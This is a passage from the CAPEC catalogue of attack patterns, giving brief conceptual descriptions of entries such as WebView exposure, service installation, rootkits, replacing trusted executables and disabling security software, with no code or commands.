An adversary, through a previously installed malicious application, issues an intent directed toward a specific trusted application's component in an attempt to achieve a variety of different objectives including modification of data, information disclosure, and data injection. Components that have been unintentionally exported and made public are subject to this type of an attack. If the component trusts the intent's action without verififcation, then the target application performs the functionality at the adversary's request, helping the adversary achieve the desired negative technical impact.

CAPEC-503: WebView Exposure

An adversary, through a malicious web page, accesses application specific functionality by leveraging interfaces registered through WebView's addJavascriptInterface API. Once an interface is registered to WebView through addJavascriptInterface, it becomes global and all pages loaded in the WebView can call this interface.

CAPEC-536: Data Injected During Configuration

An attacker with access to data files and processes on a victim's system injects malicious data into critical operational data during configuration or recalibration, causing the victim's system to perform in a suboptimal manner that benefits the adversary.

CAPEC-546: Incomplete Data Deletion in a Multi-Tenant Environment

An adversary obtains unauthorized information due to insecure or incomplete data deletion in a multi-tenant environment. If a cloud provider fails to completely delete storage and data from former cloud tenants' systems/resources, once these resources are allocated to new, potentially malicious tenants, the latter can probe the provided resources for sensitive information still there.

CAPEC-550: Install New Service

When an operating system starts, it also starts programs called services or daemons. Adversaries may install a new service which will be executed at startup (on a Windows system, by modifying the registry). The service name may be disguised by using a name from a related operating system or benign software. Services are usually run with elevated privileges.

CAPEC-551: Modify Existing Service

When an operating system starts, it also starts programs called services or daemons. Modifying existing services may break existing services or may enable services that are disabled/not commonly used.

CAPEC-552: Install Rootkit

An adversary exploits a weakness in authentication to install malware that alters the functionality and information provide by targeted operating system API calls. Often referred to as rootkits, it is often used to hide the presence of programs, files, network connections, services, drivers, and other system components.

CAPEC-556: Replace File Extension Handlers

When a file is opened, its file handler is checked to determine which program opens the file. File handlers are configuration properties of many operating systems. Applications can modify the file handler for a given file extension to call an arbitrary program when a file with the given extension is opened.

CAPEC-558: Replace Trusted Executable

An adversary exploits weaknesses in privilege management or access control to replace a trusted executable with a malicious version and enable the execution of malware when that trusted executable is called.

CAPEC-562: Modify Shared File

An adversary manipulates the files in a shared location by adding malicious programs, scripts, or exploit code to valid content. Once a user opens the shared content, the tainted content is executed.

CAPEC-563: Add Malicious File to Shared Webroot

An adversaries may add malicious content to a website through the open file share and then browse to that content with a web browser to cause the server to execute the content. The malicious content will typically run under the context and permissions of the web server process, often resulting in local system or administrative privileges depending on how the web server is configured.

CAPEC-564: Run Software at Logon

Operating system allows logon scripts to be run whenever a specific user or users logon to a system. If adversaries can access these scripts, they may insert additional code into the logon script. This code can allow them to maintain persistence or move laterally within an enclave because it is executed every time the affected user or users logon to a computer. Modifying logon scripts can effectively bypass workstation and enclave firewalls. Depending on the access configuration of the logon scripts, either local credentials or a remote administrative account may be necessary.

CAPEC-578: Disable Security Software

An adversary exploits a weakness in access control to disable security tools so that detection does not occur. This can take the form of killing processes, deleting registry keys so that tools do not start at run time, deleting log files, or other methods.

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